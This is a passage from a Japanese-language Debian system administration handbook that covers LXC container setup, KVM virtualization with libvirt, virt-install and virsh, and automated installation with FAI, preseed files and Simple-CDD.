この debian テンプレート作成スクリプトは、インストールされるシステムのアーキテクチャを指定する --arch オプションと、現在の Debian 安定版以外の物をインストールしたい場合に指定する --release オプションを取ります。また、MIRROR 環境変数を設定してローカル Debian アーカイブミラーを指定することも可能です。

これで、新規に作成されたファイルシステムが最低限の Debian システムを含むようになりました。デフォルト状態だとこのコンテナにはネットワークインターフェースがありません (ループバックインターフェースすらありません)。これは全く望むべき状態ではないため、コンテナの設定ファイル (/var/lib/lxc/testlxc/config) を編集し、いくつかの lxc.network.* エントリを追加します。

```
lxc.network.type = veth
lxc.network.flags = up
lxc.network.link = br0
lxc.network.hwaddr = 4a:49:43:49:79:20
```

これらのエントリの意味するところはそれぞれ、仮想インターフェースはコンテナによって作られます。そして仮想インターフェースはコンテナが開始された時に自動的に利用できる状態にされます。そして仮想インターフェースはホストの br0 ブリッジに自動的に接続されます。さらに仮想インターフェースの MAC アドレスは指定したものになります。最後のエントリを削除するか無効化した場合、ランダムな MAC アドレスが生成されます。

以下のようにすることで、設定ファイル内でホスト名を設定することも可能です。

```
lxc.utsname = testlxc
```

コンテナの開始

これで仮想マシンイメージの準備が整いました。それではコンテナを開始しましょう。

```
root@mirwiz:~# lxc-start --daemon --name=testlxc
root@mirwiz:~# lxc-console -n testlxc
Debian GNU/Linux 8 testlxc tty1
```

```
testlxc login: root
Password:
Linux testlxc 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@testlxc:~# ps auxwf
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2  28164  4432 ?        Ss   17:33   0:00 /sbin/init
root        20  0.0  0.1  32960  3160 ?        Ss   17:33   0:00 /lib/systemd/systemd-
    ➥ journald
root        82  0.0  0.3  55164  5456 ?        Ss   17:34   0:00 /usr/sbin/sshd -D
root        87  0.0  0.1  12656  1924 tty2     Ss+  17:34   0:00 /sbin/agetty --noclear
    ➥ tty2 linux
root        88  0.0  0.1  12656  1764 tty3     Ss+  17:34   0:00 /sbin/agetty --noclear
    ➥ tty3 linux
root        89  0.0  0.1  12656  1908 tty4     Ss+  17:34   0:00 /sbin/agetty --noclear
    ➥ tty4 linux
root        90  0.0  0.1  63300  2944 tty1     Ss   17:34   0:00 /bin/login --
root       117  0.0  0.2  21828  3668 tty1     S    17:35   0:00  \_ -bash
root       268  0.0  0.1  19088  2572 tty1     R+   17:39   0:00      \_ ps auxfw
root        91  0.0  0.1  14228  2356 console  Ss+  17:34   0:00 /sbin/agetty --noclear
    ➥ --keep-baud console 115200 38400 9600 vt102
root       197  0.0  0.4  25384  7640 ?        Ss   17:38   0:00 dhclient -v -pf /run/
    ➥ dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.e
root       266  0.0  0.1  12656  1840 ?        Ss   17:39   0:00 /sbin/agetty --noclear
    ➥ tty5 linux
root       267  0.0  0.1  12656  1928 ?        Ss   17:39   0:00 /sbin/agetty --noclear
    ➥ tty6 linux
root@testlxc:~#
```

これでコンテナの中に入りました。プロセスへのアクセスはコンテナ自身によって開始されたものだけに制限されていることがわかります。同様に、ファイルシステムへのアクセスも testlxc コンテナ専用に割り当てられた完全なファイルシステムの一部分 (`/var/lib/lxc/testlxc/rootfs`) に制限されています。コンソールを終了するには Control+a q を使います。

`lxc-start` に `--daemon` オプションを渡したおかげで、コンテナがバックグラウンドプロセスとして実行されていることに注意してください。コンテナを中止するには `lxc-stop --name=testlxc` などのコマンドを使います。

lxc パッケージには、ホストの起動時に自動的に 1 つまたは複数のコンテナを開始するための初期化スクリプトが含まれます (この初期化スクリプトは lxc.start.auto オプションが 1 に設定されているコンテナを起動する `lxc-autostart` に依存しています)。起動順序を非常に細かく制御するには lxc.start.order と lxc.group を使います。デフォルトの場合、初期化スクリプトは onboot グループに所属するコンテナを起動し、その

後いかなるグループにも所属しないコンテナを起動します。どちらの場合も、グループ内の起動順序を制御するには lxc.start.order オプションを使います。

GOING FURTHER

大量の仮想化

LXC は非常に軽量の隔離システムですから、LXC を使って仮想サーバを大量にホストすることが可能です。この場合のネットワーク設定は上に述べた物よりも少し高度なものになるかもしれませんが、多くの場合 tap と veth インターフェースを用いた「ぜいたくな」設定を使えば事足ります。

ファイルシステムの一部 (たとえば /usr と /lib などのサブツリー) を共有することは合理的です。こうすることで、複数のコンテナで共通に必要なソフトウェアを複製することを避けることが可能です。通常これを設定するには、コンテナ設定ファイルに含まれる lxc.mount.entry エントリを使います。さらに興味深い副作用として、より少ない物理メモリでプロセスを動かすことが可能になります。なぜなら、カーネルはプログラムが共有されていることを検出できるからです。このことにより 1 つのコンテナを追加するためのコストをコンテナに特有のデータに割り当てられたディスク領域と、カーネルがスケジュールと管理に使ういくつかの追加的プロセスだけに減らすことが可能です。

もちろん、ここではすべての利用できるオプションを説明していません。このため、より広範囲におよぶ情報を入手するには、lxc(7) と lxc.container.conf(5) マニュアルページおよびこれらのマニュアルページから参照されている文書を参照してください。

12.2.3. KVM を使った仮想化

KVM は **Kernel-based Virtual Machine** を意味しており、仮想化システムの使うほとんどの基礎構造を提供する最初で最高のカーネルモジュールです。しかしながら、LVM 自身は仮想化システムではありません。仮想化の実際の制御を行うには QEMU に基づくアプリケーションを使います。この節で qemu-* コマンドがあっても心配しないでください。なぜならこのコマンドは KVM に関連するものだからです。

他の仮想化システムと異なり、KVM は最初から Linux カーネルにマージされていました。KVM の開発者はプロセッサが備える仮想化専用命令セット (Intel-VT と AMD-V) を有効活用することを選びました。仮想化専用命令セットを活用することで、KVM は軽量で簡潔でリソースを大量に消費しないものになっています。もちろんその代償として KVM にも欠点があります。それはすべてのコンピュータが KVM を動かせるわけではなく、適切なプロセッサを備えたコンピュータでなければ KVM を動かせないという点です。x86 ベースのコンピュータで /proc/cpuinfo 内の CPU フラグに「vmx」または「svm」が含まれている場合、そのプロセッサは KVM を動かすことができることを意味します。

Red Hat が KVM の開発を活発に支援したことで、KVM は事実上 Linux 仮想化の基準点になりました。

準備段階

VirtualBox などのツールと異なり、KVM は仮想マシンを作成管理するためのユーザインターフェースを含みません。仮想マシンを開始することが可能な実行ファイルおよび適切なカーネルモジュールを読み込むための初期化スクリプトを含むパッケージが **qemu-kvm** パッケージです。

幸いなことに、Red Hat は **libvirt** ライブラリおよび関連する**仮想マシンマネージャ**ツールを開発することで、この問題に対処するためのツールを提供しています。libvirt により仮想マシンを管理する方法が統一され、仮想マシンの管理方法が裏で動く仮想システムに依存しなくなります (libvirt は現在 QEMU、KVM、Xen、LXC、OpenVZ、VirtualBox、VMWare、UML をサポートしています)。virtual-manager は仮想マシンを作成管理するために libvirt を使うグラフィルインターフェースです。

最初に apt-get install qemu-kvm libvirt-bin virtinst virt-manager virt-viewer を使って、必要なパッケージをインストールします。**libvirt-bin** には、libvirtd デーモンが含まれます。libvirtd デーモンを使うことでホストで実行されている仮想マシンを (潜在的にリモートで) 管理したり、ホスト起動時に要求された VM を開始したりすることが可能です。加えて、**libvirt-bin** パッケージは virsh コマンドラインツールを提供します。virsh を使うことで、libvirtd の管理するマシンを操作することが可能です。

virtinst パッケージには virt-install コマンドが含まれます。virt-install を使うことで、コマンドラインから仮想マシンを作成することが可能になります。最後に、**virt-viewer** を使うことで、仮想マシンのグラフィカルコンソールにアクセスすることが可能になります。

ネットワークの設定

Xen や LXC と同様に、最もよく使われるネットワーク設定は仮想マシンのネットワークインターフェースをグループ化するブリッジです (第 12.2.2.2 節「ネットワークの設定」330 ページを参照してください)。

ネットワーク設定には別の方法もあります。KVM の提供するデフォルト設定の中では、仮想マシンに (192.168.122.0/24 の範囲内に) プライベートアドレスが割り当てられており、さらに NAT が設定されています。この設定により仮想マシンは外部ネットワークにアクセスすることが可能です。

この節の残りでは、ホストが eth0 物理インターフェースと br0 ブリッジを備え、eth0 が br0 に接続されていることを仮定します。

virt-install を使ったインストール

仮想マシンの作成は普通のシステムをインストールするのとよく似ています。違いは、仮想マシンの性質をコマンドラインから非常に長々と指定する点です。

具体的に言えば、これはホストシステムに保存された Debian DVD イメージを挿入された仮想 DVD-ROM ドライブから仮想マシンを起動することにより Debian インストーラを使うことを意味します。仮想マシンは VNC プロトコル (詳しくは第 9.2.2 節「リモートグラフィカルデスクトップの利用」195 ページを参照してください) を介してグラフィカルコンソールに表示されます。これによりインストール作業を操作することが可能になります。

最初にディスクイメージの保存先を libvirtd に伝える必要があります。デフォルトの保存先 (/var/lib/libvirt/images/) でも構わないならばこれは必要ありません。

```
root@mirwiz:~# mkdir /srv/kvm
root@mirwiz:~# virsh pool-create-as srv-kvm dir --target /srv/kvm
Pool srv-kvm created

root@mirwiz:~#
```

TIP

libvirt グループに対するユーザの追加

この節で挙げたすべての例では、root がコマンドを実行しています。実際、あるユーザがローカルの libvirt デーモンを操作するには、root になるか libvirt グループのメンバーになって (デフォルト状態では libvirt グループはユーザの初期参加グループに設定されていません) コマンドを実行する必要があります。このユーザに root 権限を頻繁に使わせることを避けたい場合、そのユーザを libvirt グループに追加して、本人の権限でさまざまなコマンドを実行するように設定することが可能です。

それでは仮想マシンのインストール作業を開始し、virt-install の最も重要なオプションを詳細に見て行きましょう。virt-install は仮想マシンとそのパラメータを libvirtd に登録し、インストールを進めるために仮想マシンを開始します。

```
# virt-install --connect qemu:///system ❶
               --virt-type kvm ❷
               --name testkvm ❸
               --ram 1024 ❹
               --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 ❺
               --cdrom /srv/isos/debian-8.1.0-amd64-netinst.iso ❻
               --network bridge=br0 ❼
               --vnc ❽
               --os-type linux ❾
               --os-variant debianwheezy

Starting install...
Allocating 'testkvm.qcow'              |  10 GB     00:00
Creating domain...                     |    0 B     00:00
Guest installation complete... restarting guest.
```

❶ --connect オプションは使用する「ハイパーバイザ」を指定します。これは仮想システムを表す URL (xen://、qemu://、lxc://、openvz://、vbox:// など) と VM をホストするマシン (ローカルホストの場合、空でも構いません) の形をしています。QEMU/KVM の場合、これに加えて各ユーザは制限されたパーミッションで稼働する仮想マシンを管理できます。この場合 URL パスは「システム」マシン (/system) かその他 (/session) かで識別されます。

❷ --virt-type kvm を指定することで KVM を使うことが可能です。--connect で指定した URL を一見すると QEMU が使われるように見えますが、これは KVM は QEMU と同じ方法で管理されているためです。

❸ --name オプションは仮想マシンの (一意的な) 名前を定義します。

❹ --ram オプションは仮想マシンに割り当てる RAM の量 (MB 単位) を指定します。

❺ --disk オプションは仮想マシンのハードディスクとして利用するイメージファイルの場所を指定します。このファイルが存在しなければ、size パラメータで指定されたサイズ (GB 単位) のイメージファイルが作成されます。format パラメータはイメージファイルを保存するさまざまな方法を選択します。デフォルトフォーマット (raw) はディスクサイズと内容が全く同じ単一ファイルです。ここではより先進的なフォーマット qcow2 を選びました。qcow2 は QEMU 専用のフォーマットです。qcow2 フォーマットのファイルは作成時のサイズは小さいのですが、仮想マシンが領域を実際に利用することになった時にサイズが増加します。

❻ --cdrom オプションはインストール時に利用する光学ディスクの場所を指定するために使われます。場所には ISO ファイルのローカルパス、ファイル取得先の URL、物理 CD-ROM ドライブのデバイスファイル (例 /dev/cdrom) のどれか 1 つを使うことが可能です。

❼ --network オプションはホストネットワーク設定の中に仮想ネットワークを統合する方法を指定します。デフォルトは既存のネットワークブリッジに仮想ネットワークを統合する方法です (例では明示的にこの挙動を指定しています)。指定したブリッジが存在しない場合、仮想マシンが到達できるネットワークは NAT を介した物理ネットワークだけに限定されるので、仮想マシンはプライベートサブネット範囲 (192.168.122.0/24) に含まれるアドレスを割り当てられます。

❽ --vnc は VNC を使ってグラフィカルコンソールを利用できるようにすることを意味します。VNC サーバに対するデフォルトの挙動を使った場合、ローカルインターフェースだけがリッスンされます。さらに仮想マシンを操作する VNC クライアントを別のホスト上で実行する場合、VNC 接続を確立するには SSH トンネルを設定する必要があります (第 9.2.1.3 節「ポート転送を使った暗号化トンネルの作成」194 ページを参照してください)。別の方法として、VNC サーバをすべてのインターフェースを介して利用できるようにするために、--vnclisten=0.0.0.0 を使うことも可能です。しかしこの方針を取る場合、ファイアウォールを適切に設計するべきという点に注意してください。

❾ --os-type と --os-variant オプションは、指定されたオペレーティングシステムの備える既知の機能に基づいて、仮想マシンのいくつかのパラメータを最適化するためのものです。

virt-install を実行した時点で仮想マシンが実行されます。インストール作業に進むためには、グラフィカルコンソールに接続する必要があります。上の操作をグラフィカルデスクトップ環境から行った場合、自動的に接続が開始されます。そうでない場合、グラフィカルコンソールを開くために virt-viewer を任意のグラフィカル環境から実行します (この時にリモートホストの root パスワードが 2 回尋ねられる点に注意してください。なぜなら、この操作には 2 つの SSH 接続を必要とするからです)。

```
$ virt-viewer --connect qemu+ssh://root@server/system testkvm
root@server's password:
root@server's password:
```

インストール作業が終了したら、仮想マシンが再起動されます。これで仮想マシンを利用する準備が整いました。

virsh を使ったマシンの管理

これでインストールが終了しました。利用できる仮想マシンを取り扱う方法に移りましょう。最初に virsh を使って libvirtd が管理している仮想マシンのリストを確認します。

```
# virsh -c qemu:///system list --all
 Id Name                 State
----------------------------------
  - testkvm              shut off
```

それではテスト用仮想マシンを起動しましょう。

```
# virsh -c qemu:///system start testkvm
Domain testkvm started
```

そして、グラフィカルコンソールへの接続命令を出します (接続する VNC 画面を vncviewer へのパラメータの形で指定することが可能です)。

```
# virsh -c qemu:///system vncdisplay testkvm
:0
```

その他の利用できる virsh サブコマンドには以下のものがあります。

- reboot。仮想マシンを再起動します。
- shutdown。仮想マシンを正常にシャットダウンします。
- destroy。仮想マシンを無理やり停止します。
- suspend。仮想マシンを一時停止します。
- resume。一時停止された仮想マシンを再開します。
- autostart。ホスト起動時にこの仮想マシンを自動的に起動することを有効化します (または --disable オプションを付けて無効化します)。
- undefine。仮想マシンのすべての痕跡を libvirtd から削除します。

ここに挙げたすべてのサブコマンドは仮想マシン識別子をパラメータとして受け取ります。

yum を使い RPM に基づくシステムを Debian の中にインストールする

仮想マシンが Debian (または Debian 派生物) を実行することを意図している場合、上で述べた通り debootstrap を使ってシステムを初期化することが可能です。しかし、仮想マシンに RPM に基づくシステム (Fedora、CentOS、Scientific Linux など) をインストールする場合、yum ユーティリティ (同名のパッケージに含まれます) を使ってシステムをセットアップする必要があります。

RPM に基づくシステムをインストールする際には、特に yum 設定ファイルなどのファイルの初期セットを展開するために rpm を使い、その後パッケージの残りのセットを展開するために yum を呼び出す必要があります。しかし、chroot の外から yum を呼び出しているため、一時的な修正が必要です。以下に載せた例では、対象の chroot 先は /srv/centos です。

```
# rootdir="/srv/centos"
# mkdir -p "$rootdir" /etc/rpm
# echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath
# wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-1.1503.el7.
    ➥ centos.2.8.x86_64.rpm
# rpm --nodeps --root "$rootdir" -i centos-release-7-1.1503.el7.centos.2.8.x86_64.rpm
rpm: RPM should not be used directly install RPM packages, use Alien instead!
rpm: However assuming you know what you are doing...
warning: centos-release-7-1.1503.el7.centos.2.8.x86_64.rpm: Header V3 RSA/SHA256
    ➥ Signature, key ID f4a80eb5: NOKEY
# sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.
    ➥ repos.d/*.repo
# yum --assumeyes --installroot $rootdir groupinstall core
[...]
# sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.
    ➥ repos.d/*.repo
```

12.3. 自動インストール

巨大な IT サービスの管理者と同様に Falcot Corp の管理者もまた、新しいマシンへシステムを素早く (可能であれば自動的に) インストール (または再インストール) するツールを必要としています。

自動インストールの要求に応えるためのさまざまな解決策が存在します。一方では、SystemImager などの一般的なツールが存在します。こちらの解決策ではテンプレートマシンに基づくイメージを事前に準備し、そのイメージを目標のシステムで展開します。他方では、標準的な Debian インストーラが存在します。こちらの解決策ではインストール作業中に尋ねられる質問の回答を含めた設定ファイルを事前に準備し、この設定ファイルに基づいて目標のシステムを設定します。両者の折衷案として、FAI (**Fully Automatic Installer**) などのハイブリッドツールが存在します。こちらの解決策ではパッケージングシステムでシステムをインストールし、自分自身の機能を使って大規模な配備に特有のタスク (起動、パーティショニング、設定など) をこなします。

これらの解決策には、利点と欠点があります。たとえば SystemImager は特定のパッケージングシステムに依存しません。このことにより、複数の Linux ディストリビューションを使う数多くのマシン群を管理することが可能です。SystemImager には再インストール不要の更新システムが含まれていますが、この更新システムを信頼できるのは各マシンは個別に変更されないという仮定が満足される場合だけです。さらに言い換えれば、ユーザは自分のマシンにインストールされたソフトウェアを更新してはいけませんし、他のソフトウェアをインストールしてもいけません。同様に、セキュリティ更新も自動的に行ってはいけません。なぜなら、セキュリティ更新は SystemImager がメンテナンスする中央集権化された基準イメージによって提供されるからです。また SystemImager による解決策では、管理される側のマシンの種類が同じである必要があります。異種マシンを管理する場合、多くの異なるイメージをメンテナンスおよび管理する必要があります (i386 用のイメージを powerpc マシンに使うことはできません)。

逆に、debian-installer を使ってインストールを自動化する場合、マシンごとの違いに適合したシステムをインストールすることが可能です。具体的に言えば、インストーラは対応するリポジトリから適切なカーネルとソフトウェアパッケージを取得し、利用できるハードウェアを検出し、利用できる領域全体を活かしてハードディスク全体をパーティショニングし、対応する Debian システムをインストールし、適切なブートローダを設定します。しかしながら、標準的なインストーラは基本システムと事前に選択された「tasks」を含む標準的な Debian バージョンをインストールするだけです。さらに、パッケージングされていないアプリケーションを備えた特製のシステムをインストールできません。この特別な必要性を満足させるにはインストーラのカスタマイズが必要です。幸いなことに、インストーラはとてもモジュール化されており、カスタマイズに必要なほとんどの作業を自動化するツールが存在します。最も重要なツールは simple-CDD です (CDD は **Custom Debian Derivative** の頭字語です)。しかしながら simple-CDD が取り扱うことが可能なのは最初のインストールだけです。しかしこれは通常問題になりません。なぜなら、APT ツールのおかげでインストール後の更新作業は効果的に行うことが可能だからです。

ここでは FAI については大ざっぱな概要を説明し、(もはや Debian に含まれない) SystemImager については完全に省略し、Debian だけのシステムではより興味深い debian-installer と simple-CDD に特に注目します。

12.3.1. Fully Automatic Installer (FAI)

Fully Automatic Installer はおそらく最も古い Debian 用の自動配備システムで、基準としての地位を確立しています。しかしその一方で FAI の高い柔軟性は FAI の複雑性によって成し遂げられています。

FAI には、配備情報を保存してネットワークから目標のマシンを起動することを可能にするために、サーバシステムが必要です。サーバシステムには、**fai-server** パッケージ (または **fai-quickstart**、これには、標準的な設定に必要な要素が含まれています) が必要です。

FAI は特殊なやり方で、インストールできるさまざまなプロファイルを定義します。FAI は基準となるインストール状態を単純に複製するのではありません。FAI は本格的なインストーラで、サーバに保存されているファイルとスクリプトを通じて完全に設定することが可能です。しかし、これらのファイルを保存するデフォルトの場所 `/srv/fai/config/` は自動的に作成されません。このため管理者は対応するファイルと一緒にこれも作成する必要があります。ほとんどの場合、これらのファイルは例ファイルからカスタマイズされます。このファイルは **fai-doc** パッケージの文書の中 (より具体的に言えば `/usr/share/doc/fai-doc/examples/simple/` ディレクトリの中) に含まれています。

プロファイルを定義したら、`fai-setup` コマンドを使って FAI のインストールを開始するために必要な要素を生成します。そしてこれはインストール中に使われる最小限のシステム (NFS-root) の準備と更新を行うことを意味します。別の方法として、`fai-cd` を使って専用の CD を生成することも可能です。

これらすべての設定ファイルを作成するには、FAI の動作方法を理解する必要があります。典型的なインストール作業は以下の順番で進みます。

- ネットワークからカーネルを取得して起動します。
- NFS でルートファイルシステムをマウントします。
- インストール作業を制御する `/usr/sbin/fai` を実行します (`/usr/sbin/fai` が以降の各段階を初期化します)。
- サーバから `/fai/` に設定領域をコピーします。
- `fai-class` を実行します。`/fai/class/[0-9][0-9]*` スクリプトが順番に実行され、インストールされるマシンに適用する「クラス」の名前が返されます。この情報は以降の各段階の基礎としての機能を果たします。これを使うことで、インストールおよび設定されるサービスを定義する際に幾らかの柔軟性を持たせることが可能です。
- 対応するクラスに基づき、設定変数を取得します。
- `/fai/disk_config/`**`class`** で定義された情報に基づいて、ディスクのパーティショニングとパーティションのフォーマットを行います。
- 指定されたパーティションをマウントします。
- 基本システムをインストールします。
- `fai-debconf` を使って Debconf データベースを事前配布します。
- APT で利用できるパッケージのリストを取得します。
- `/fai/package_config/`**`class`** にリストされたパッケージをインストールします。
- 設定後にスクリプト `/fai/scripts/`**`class`**`/[0-9][0-9]*` を実行します。
- インストールログを記録し、パーティションをアンマウントし、再起動します。

12.3.2. Debian-Installer の事前設定

結局のところ、Debian システムをインストールする最良のツールは必然的に公式の Debian インストーラということになるでしょう。このため、当初から debian-installer は **debconf** の提供するインフラを活用して自動的に使えるように設計されています。**debconf** を使うことで、尋ねられる質問の数を減らしたり (隠された質問に対する回答はデフォルトが使われます)、質問に対する回答を個別に事前設定したりすることが可能です。このことにより、インストールを非対話的に進めることが可能です。質問に対する回答の事前設定機能は **preseed** として知られています。

GOING FURTHER

中央集権型データベースを用いる Debconf

preseed を使うことで、インストール時に尋ねられる Debconf 質問に対する回答を事前に提供することが可能です。しかし、これらの回答は静的なもので、時間経過に従い変化しません。既にインストールされたマシンは更新が必要かもしれませんし、新しい回答が必要かもしれません。このため `/etc/debconf.conf` 設定ファイルから、Debconf が外部のデータソース (LDAP ディレクトリサーバ、NFS や Samba 経由でアクセスされるリモートファイル) を使うようにセットアップして、お互いに補完し合う複数の外部データソースを同時に定義することが可能です。とは言うものの、ローカルデータベースも使えます (読み書きアクセスできます)。これに対してリモートデータベースは読み込みのみに制限されていることが多いです。`debconf.conf(5)` マニュアルページではすべての可能性が詳細に説明されています (このマニュアルは **debconf-doc** パッケージに含まれます)。

preseed ファイルの利用

インストーラが preseed ファイルを取得することが可能な場所にはいくつかあります。

- マシンを開始するために使われる initrd の中。この場合、インストールの最初から preseed を行い、すべての質問を回避することが可能です。preseed ファイルの名前は必ず `preseed.cfg` にして initrd のルートに保存しなければいけません。

- 起動メディア (CD や USB メモリ) の中。メディアがマウントされた直後から preseed が始まります。これは言語とキーボードレイアウトに関する質問の直後を意味します。preseed/file 起動パラメータを使って preseed ファイルの場所を指定することが可能です (たとえば、インストールが CD-ROM から開始された場合は `/cdrom/preseed.cfg`、USB メモリから開始された場合は `/hd-media/preseed.cfg` などです)。

- ネットワーク上。ネットワークが (自動的に) 設定された直後から preseed が始まります。対応する起動パラメータは preseed/url=http://**server**/preseed.cfg です。

一見すると、preseed ファイルを initrd の中に含めることが最もうまい解決策のように見えます。しかし、実際のところこれはほとんど行われません。なぜなら、インストーラの initrd を生成することはかなり複雑だからです。その他の 2 種類の解決策はよく使われます。なぜなら起動パラメータを使うことで、インストール作業の最初の質問の回答を他のやり方で事前指定することが可能だからです。インストールごとに起動パラメータを手作業で打ち込む手間を省くためによく使われる方法は `isolinux` (CD-ROM の場合) や `syslinux` (USB メモリの場合) の設定ファイルに起動パラメータを保存することです。

preseed ファイルの作成

preseed ファイルはプレーンテキストファイルで、各行に 1 つの Debconf 質問に対する回答が含まれます。行は空白 (スペースかタブ) で区切られた 4 種類のフィールドに分割されます。たとえば d-i mirror/suite string stable のようになります。

- 最初のフィールドはこの質問の「所有者」です。インストーラに関する質問の場合「d-i」を使い、Debian パッケージからの質問の場合パッケージ名を使います。
- 2 番目のフィールドは質問の識別子です。
- 3 番目のフィールドは質問の種類です。
- 4 番目以降のフィールドは質問に対する回答です。3 番目のフィールドの後ろに必ず 1 つの空白を含めなければいけない点に注意してください。さらに 1 つ以上の回答がある場合、続く空白文字は回答の一部として取り扱われます。

preseed ファイルを書く最も簡単な方法はシステムを手作業でインストールする方法です。インストール完了後に `debconf-get-selections --installer` を実行してインストーラに関連する回答を取得します。`debconf-get-selections` を使えば、他のパッケージに関連する回答を取得することが可能です。しかしながら、最も明確な解決策は記載例と基準文書を参考にしながら手作業で preseed ファイルを書くことです。なぜなら、このような取り扱い方をすることで、デフォルト回答に対して上書きが必要な質問だけに回答を事前指定することが可能だからです。さらに priority=critical 起動パラメータ使うことで、Debconf が重要な質問だけを尋ね、他の質問にはデフォルトの回答を使うようにすることが可能です。

DOCUMENTATION

インストールガイドの付録

オンライン上で利用できるインストールガイドの付録には、preseed ファイルの使い方に関する詳細な文書が含まれます。また、コメントの形で詳細を説明された見本ファイルが含まれます。これは自分用カスタマイズのひな形として使えるように用意されています。

➨ https://www.debian.org/releases/jessie/amd64/apb.html

➨ https://www.debian.org/releases/jessie/example-preseed.txt

カスタマイズされた起動メディアの作成

preseed ファイルを保存する場所を知ることは誠に結構なことですが、場所がすべてではありません。なぜなら、起動パラメータを変更し preseed ファイルを追加するためには、いずれにせよインストール用の起動メディアを改造しなければいけないからです。

ネットワークからの起動　コンピュータをネットワークから起動する場合、初期化要素を送信するサーバを使って起動パラメータを定義することも可能です。この場合、初期化要素の定義は起動サーバの PXE 設定の中で行う必要があります。より具体的に言えば `/tftpboot/pxelinux.cfg/default` 設定ファイルの中で設定します。そして、事前にネットワーク起動をセットアップすることが必要です。詳しくはインストールガイドをご覧ください。

➨ https://www.debian.org/releases/jessie/amd64/ch04s05.html

起動可能な USB メモリの準備　起動可能な USB メモリを用意した場合 (第 4.1.2 節「USB メモリからの起動」49 ページを参照してください)、以下に挙げるいくつかの追加的な操作が必要です。USB メモリの内容は /media/usbdisk/ で利用できるとします。

- /media/usbdisk/preseed.cfg に preseed ファイルをコピーします
- /media/usbdisk/syslinux.cfg を編集して、必要な起動パラメータを追加します (以下の例をご覧ください)。

例 12.2　syslinux.cfg ファイルと preseed パラメータ

```
default vmlinuz
append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us
    ➥ country=US vga=788 initrd=initrd.gz  --
```

CD-ROM イメージの作成　USB メモリは読み書きメディアなので、ファイルを追加したりいくつかのパラメータを変更することが簡単に可能です。CD-ROM の場合、この操作はさらに複雑になります。なぜなら、完全な ISO イメージを再生成する必要があるからです。**debian-cd** がこの作業を担当しますが、**debian-cd** ツールは少し使いにくいです。すなわち、**debian-cd** ツールを使うには、ローカルミラーと /usr/share/debian-cd/CONF.sh によって提供されるすべてのオプションについて理解する必要があります。そしてさらに、make を複数回実行する必要があります。このため、/usr/share/debian-cd/README を一読することを強く推奨します。

そうは言っても、debian-cd の挙動は大きく変わるものではありません。具体的に言えば CD-ROM の内容を展開した「image」ディレクトリが生成され、その後 genisoimage、mkisofs、xorriso などのツールを使って「image」ディレクトリを ISO ファイルに変換します。image ディレクトリは debian-cd の make image-trees 段階の後に仕上げられます。この時点で、preseed ファイルを適切なディレクトリ (通常 $TDIR/$CODENAME/CD1/ です、ここで $TDIR と $CODENAME は CONF.sh 設定ファイルによって定義されるパラメータです) に追加します。CD-ROM は isolinux をブートローダとして使います。必要な起動パラメータを追加するためには、isolinux の設定ファイル (ファイルは $TDIR/$CODENAME/boot1/isolinux/isolinux.cfg にあります) を debian-cd が生成した内容に適合させなければいけません。この後、「通常の」プロセスを再開し、make image CD=1 (または make images 複数の CD-ROM を生成する場合) を実行して ISO イメージを生成します。

12.3.3. Simple-CDD、一体型の解決策

単純に preseed ファイルを使うだけでは、大規模な配備に要求されるすべてを満足させることはできません。preseed ファイルを使うことで、通常のインストール作業の最後にいくつかのスクリプトを実行することが可能とは言うものの、インストールするパッケージ群の選択にはまだ大きな制限があります (基本的に「tasks」を選択できるだけです)。それどころかより重要なこととして、preseed ファイルを使えば公式の Debian パッケージをインストールすることが可能ですが、自前で作成したパッケージをインストールすることは不可能です。

逆に、debian-cd を使えば外部パッケージを組み込むことが可能で、debian-installer を使えばインストール作業に新しい段階を挿入するように拡張することが可能です。これらの機能を組み合わせることで、自分の

要求を完全に満足するカスタマイズされたインストーラを作成することが可能です。さらにこの方針を取ることで、必要なパッケージを展開した後、いくつかのサービスを設定することが可能です。幸いなことに、この方針は単なる仮説というわけではありません。なぜなら、これこそが Simple-CDD (**simple-cdd** パッケージに含まれます) のやっていることだからです。

Simple-CDD の目的とは、利用できるパッケージの一部を選択したり、Debconf を使ってパッケージを事前設定したり、特定のソフトウェアを追加したり、インストール作業の最後にカスタムスクリプトを実行することで、誰でも簡単に Debian の派生ディストリビューションを作成することです。これは「ユニバーサルオペレーティングシステム」の原理に一致します。なぜなら、このことにより誰でも自分自身の要求にオペレーティングシステムを適合させることが可能だからです。

プロファイルの作成

Simple-CDD は FAI における「クラス」の概念に対応する「プロファイル」を定義し、マシンは (インストール時に定義される) 複数のプロファイルを持つことが可能です。プロファイルは以下に挙げる `profiles/`**`profile.`**`*` ファイルを使って定義されます。

- `.description` ファイル。プロファイルに関する 1 行の説明が含まれます。
- `.packages` ファイル。プロファイルが選択された場合に自動的にインストールするパッケージがリストされています。
- `.downloads` ファイル。インストールメディアに保存するがシステムにインストールしないパッケージがリストされています。
- `.preseed` ファイル。(インストーラおよびパッケージの) Debconf 質問に関する preseed 情報が含まれます。
- `.postinst` ファイル。インストール作業の最後に実行されるスクリプトが含まれます。
- `.conf` ファイル。イメージに保存されるプロファイルに基づいていくつかの Simple-CDD パラメータを修正することが可能です。

default プロファイルは特別な役割を担います。なぜなら default プロファイルは常に選択されるからです。そして default プロファイルには、Simple-CDD を動作させるために最低限必要な要素が含まれています。通常 default プロファイルの中でカスタマイズが必要なのは simple-cdd/profiles preseed パラメータだけです。なぜなら、これを使うことで Simple-CDD によって追加されたインストールするプロファイルの選択に関する質問を避けることが可能だからです。

コマンドは `profiles` ディレクトリの親ディレクトリから実行する必要がある点に注意してください。

build-simple-cdd の設定と利用

QUICK LOOK
詳細説明を含む設定ファイル

